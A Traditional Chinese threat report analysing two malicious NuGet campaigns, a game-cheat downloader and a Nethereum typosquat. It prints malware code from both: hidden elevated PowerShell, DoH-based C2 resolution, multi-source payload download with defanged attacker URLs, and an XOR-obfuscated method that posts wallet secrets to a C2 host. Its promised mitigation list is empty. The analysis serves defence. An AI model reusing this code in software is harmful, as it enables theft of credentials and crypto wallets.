你的 NuGet 專案正在 DoH 查詢中洩密?
摘要
這份報告分析了近期涉及惡意 NuGet 套件的軟體供應鏈攻擊。探討了兩個攻擊活動:一個偽裝成遊戲作弊程式,部署主機監控 Payload;另一個則透過 Typosquatting 手法仿冒 Nethereum 程式庫,以外洩加密貨幣錢包資料。報告詳細說明了技術機制,包括多階段 Payload 傳遞、用於 C2 通訊的 DNS-over-HTTPS、使用 XOR 的混淆技術,以及資料外洩手法。透過比較這些方法,這項研究歸納了常見的戰術、技術與程序 (TTPs),並提供緩解此類威脅的建議。
1. 簡介
對於開源套件儲存庫(如 NuGet)的依賴,為軟體供應鏈引入了漏洞。Threat actor 利用人為錯誤與自動化相依性解析,透過 Typosquatting 或偽裝成合法工具來發動攻擊。報告探討了兩個代表性案例,剖析其技術細節,並提供強化軟體供應鏈安全的建議。
2. 案例研究 1:惡意 NuGet 遊戲作弊程式
Socket.dev 發現的攻擊活動涉及 11 個惡意 NuGet 套件,這些套件偽裝成 .NET 命令列工具 (DotnetTool 型態) 並用於遊戲。這些套件扮演第一階段下載器,會擷取並執行第二階段的 Windows Payload (
pepesoft.exe
)。攻擊鏈具備複雜的規避與主機監控能力
[1]
。
2.1. 第一階段:.NET 下載器
每個惡意 NuGet 套件都包含一個 .NET 下載器組件。啟動後,工具會顯示更新程式的狀態文字,並使用具名 Mutex 來確保單一實例執行,藉此營造合法性並防止多重感染。
其中一項關鍵混淆技術是使用具名 Mutex 的單一實例防護機制:
- string name = "Global\\{5BD61028-3D9C-4B4E-AD45-CA4F1B35D0F4}" ;
- Mutex mutex = new Mutex(initiallyOwned: true , name, out createdNew);
- if (!createdNew)
- {
- Console.WriteLine( "Программа уже запущена" , ColorTranslator.FromHtml( "" ));
- await Task.Delay( 2000 );
- Environment.Exit( 0 );
- }
在進行網路活動之前,11 個下載器組件中有 10 個會要求使用者帳戶控制 (UAC) 權限提升,以重新同步系統時間。此舉可緩解因時間偏差造成的 TLS 連線失敗,確保 C2 通訊順利 [1] 。
用於時間重新同步與 UAC 提升的 PowerShell 命令:
- var startInfo = new ProcessStartInfo
- {
- FileName = "powershell.exe" ,
- Arguments = "-NoProfile -WindowStyle Hidden -Command\"Start-Service w32time; w32tm /resync\"" ,
- CreateNoWindow = true ,
- UseShellExecute = true ,
- WindowStyle = ProcessWindowStyle.Hidden,
- Verb = "runas"
- };
下載器透過環境變數設定第二階段 Payload,這些變數包含 AWS 風格的存取金鑰 (Key) 以及 Cloudflare Worker 端點 URL,使攻擊者能遠端變更設定,而無需將認證寫死在套件中 [1] 。
2.2. DNS-over-HTTPS (DoH) 用於 C2 解析
第一階段下載器使用 DNS-over-HTTPS (DoH) 來解析 GitHub 主機。當目標主機名稱包含
github
時,它會透過 Google 的 DoH 解析器進行查詢,藉此繞過傳統的 hosts 檔案項目與本機 DNS sinkhole
[1]
。
說明 DoH 解析過程的程式碼片段:
- if (host.Contains( "github" , StringComparison.OrdinalIgnoreCase))
- {
- using HttpClient dnsClient = new HttpClient();
- string requestUri = "https://dns.google/resolve?name=" + host + "&type=A" ;
- using JsonDocument doc = JsonDocument.Parse( await dnsClient.GetStringAsync(requestUri, cancellationToken));
- // ... first A record is parsed and used as the connect target ...
- }
2.3. 多重來源 Payload 預備與 Torrent 備援
惡意工具採用強健的 Payload 預備機制,為
pepesoft.exe
提供三個下載來源:Hugging Face、GitHub Releases 以及一個 BitTorrent magnet 連結。這提供了高度的韌性,能對抗 C2 基礎設施被查緝的風險
[1]
。
多重來源下載邏輯:
- string hfUrl = "https://huggingface[.]co/buckets/pepegit666/albion[.]onlinepanel/resolve/pepesoft.exe?download=true";
- string githubUrl = "https://github[.]com/pepegit666/123f53y45ysdf34/releases/download/albion[.]onlinepanel/pepesoft.exe";
- string magnetLink = "";
- // ... try hfUrl, fall back to githubUrl, then:
- if (string.IsNullOrEmpty(magnetLink))
- {
- throw new Exception("Все источники загрузки недоступны.");
- }
- reconstructedFileName = await DownloadViaTorrent(magnetLink, tempDir);
2.4. 第二階段:pepesoft.exe Payload
pepesoft.exe
Payload 是一個以 PyInstaller 封裝的 Python 執行檔。它會使用下載器提供的 AWS 風格金鑰進行遠端設定,並利用 Google Sheets 回傳遙測資料、進行硬體綁定 (HWID),以及遵守 HWID 封鎖清單。部分變種甚至開放了 Telegram bot 指令來截取螢幕畫面,顯示其具備主機監控能力
[1]
。
3. 案例研究 2:針對 Nethereum 的 Typosquatting 攻擊
此攻擊涉及使用 Typosquatting 手法的 NuGet 套件,目標是 Nethereum Ethereum 程式庫,企圖透過複雜的 C2 機制來外洩加密貨幣錢包資料(私鑰、助憶詞) [2] 。
3.1. Typosquatting 與惡意套件部署
攻擊者利用 Typosquatting(例如使用西里爾字母 'e' 的
Netherеum.All
)來模仿合法的 Nethereum 套件。這些惡意套件在功能上與原版相似,但嵌入了一個後門,會在特定的 Runtime 輔助函式被呼叫時觸發,藉此繞過靜態分析
[2]
。
3.2. Payload 技術剖析:XOR 解碼的 C2 通訊
核心惡意功能位於
EIP70221TransactionService
中的
Shuffle
方法內,並與合法的 Nethereum 程式碼混合。C2 URL 被混淆為一個 43 字元的種子 (Seed),執行期間會透過 position-base 的 XOR 密碼動態解碼,以規避字串比對偵測
[2]
。
編碼種子
jwwrs:./ronaoanettorkinstance[.]info/api/gads
會與一個 44 位元組的遮罩 (Mask) 進行 XOR,還原出
https://solananetworkinstance[.]info/api/gads
[2]
。C2 解碼流程如下:
圖 1:Nethereum typosquatting 攻擊的 C2 URL 解碼機制流程。
3.3. Shuffle 方法的程式碼分析
C# 的
Shuffle
方法負責執行解碼與資料外洩。編碼種子與 XOR 遮罩被定義為陣列,解碼過程則透過 LINQ 的
.Select()
方法,依據字元索引套用 XOR 運算
[2]
。
Shuffle 方法中用於 C2 URL 解碼與外洩的關鍵部分:
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Net.Http;
- using System.Threading.Tasks;
- namespace Nethereum.Accounts {
- internal class EIP70221TransactionService {
- // <summary>
- // Malicious method designed to exfiltrate sensitive data.
- // It decodes the C2 URL using XOR and sends the input data to it.
- // </summary>
- public static async Task Shuffle(string data) {
- // The encoded C2 URL seed. This is obfuscated to avoid detection.
- char[] encodedSeed = new char[43] {
- // ... (truncated for brevity) ...
- };
- // The position-based XOR mask used for decoding.
- byte[] xorMask = new byte[44] {
- // ... (truncated for brevity) ...
- };
- // Runtime decoding of the URL using XOR.
- string u = new string(
- encodedSeed
- .Select((c, i) => (char)(c ^ xorMask[i]))
- .ToArray()
- );
- // Exfiltration: An HttpClient is used to send the data to the decoded C2 URL.
- using
- var cl = new HttpClient();
- // The sensitive data (‘data’ parameter) is sent as the value of a form field named "message".
- var content = new FormUrlEncodedContent(new Dictionary < string, string > {
- ["message"] = data
- });
- await cl.PostAsync(new Uri(u), content);
- }
- }
- }
3.4. 資料外洩機制
在 C2 URL 解碼之後,
Shuffle
方法使用 .NET 的
HttpClient
執行非同步 HTTP POST request。敏感資料(如私鑰、助憶詞)會以
message
表單欄位的值送出,藉此偽裝成正常網路流量來躲避偵測
[2]
。Nethereum typosquatting 攻擊的高階流程如下:
圖 2:Nethereum typosquatting 攻擊的高階流程。
4. 攻擊方法比較分析
這兩個案例分別以遊戲玩家與加密貨幣使用者為目標,雖然誘餌不同,但技術方法相似,反映了軟體供應鏈攻擊的發展趨勢。兩者都利用 NuGet 散播惡意 Payload,凸顯了套件管理系統的脆弱性。
表 1 整理了兩種攻擊方法的比較:
| 特徵 | 惡意 NuGet 遊戲作弊程式 [1] | Nethereum Typosquatting 攻擊 [2] |
|---|---|---|
| 初始誘餌 | 偽裝成遊戲工具/作弊程式 | Typosquatting 合法 Nethereum 程式庫 |
| 目標 | Windows 使用者(主機監控) | 加密貨幣使用者(錢包資料外洩) |
| Payload 傳遞 |
多階段:.NET 下載器 ->
pepesoft.exe
|
單一階段:惡意程式碼嵌入於 Typosquat 程式庫 |
| C2 通訊 | DNS-over-HTTPS (DoH) 解析 GitHub,多個下載來源 (Hugging Face, GitHub, BitTorrent) | XOR 解碼 URL,標準 HTTPS POST |
| 混淆 / 規避技術 | 具名 Mutex,UAC 提升以同步時鐘,DoH,多重來源預備 | Typosquatting,C2 URL 的 XOR 加密,透過特定函式呼叫延遲執行 |
| 資料外洩 | 使用 Google Sheets 回傳遙測,Telegram bot 截圖 | HTTPS POST 傳送敏感資料(私鑰、助憶詞) |
| 影響 | 主機監控,潛在資料竊取 | 加密貨幣錢包資料遭竊 |
表 1:惡意 NuGet 攻擊方法比較分析。
5. 共通的戰術、技術與程序 (TTPs)
兩個攻擊活動都凸顯了以下共通的 TTPs:
- 濫用套件管理器: NuGet 是主要的散播管道,強調了套件生態系統需有強健的安全性。
- 混淆與規避: 兩者都使用技術來隱藏意圖並躲避偵測(DoH、多來源預備 vs. XOR 編碼、延遲執行)。
- 社交工程 / 欺騙: 都依賴欺騙開發者/使用者安裝惡意套件(遊戲作弊誘餌 vs. Typosquatting)。
- 具韌性的 C2 基礎設施: 多重 C2 管道或混淆 URL 確保了持續性並阻礙查緝。
- 聚焦資料外洩: 最終目標都是外洩有價值的資料(主機監控 vs. 加密貨幣錢包金鑰)。
6. 緩解措施與建議
這些案例顯示軟體供應鏈攻擊持續存在且不斷演進。細微的偽裝或 Typosquatting 結合執行階段的 C2 混淆,說明了 Threat actor 的策劃意圖。影響範圍從主機監控到加密貨幣竊盜不等。
為了防範這些威脅,以下緩解策略至關重要:
7. 結論
對惡意 NuGet 套件的分析揭示了複雜的攻擊方法。多階段 Payload、具韌性的 C2 通訊以及混淆技術等手法,持續被用來規避偵測。這些事件凸顯了在整個軟體供應鏈中,提升警覺性與實施強健安全實務的迫切性。了解這些技術細節,有助於我們在不斷變化的威脅環境中建立更完善的防禦。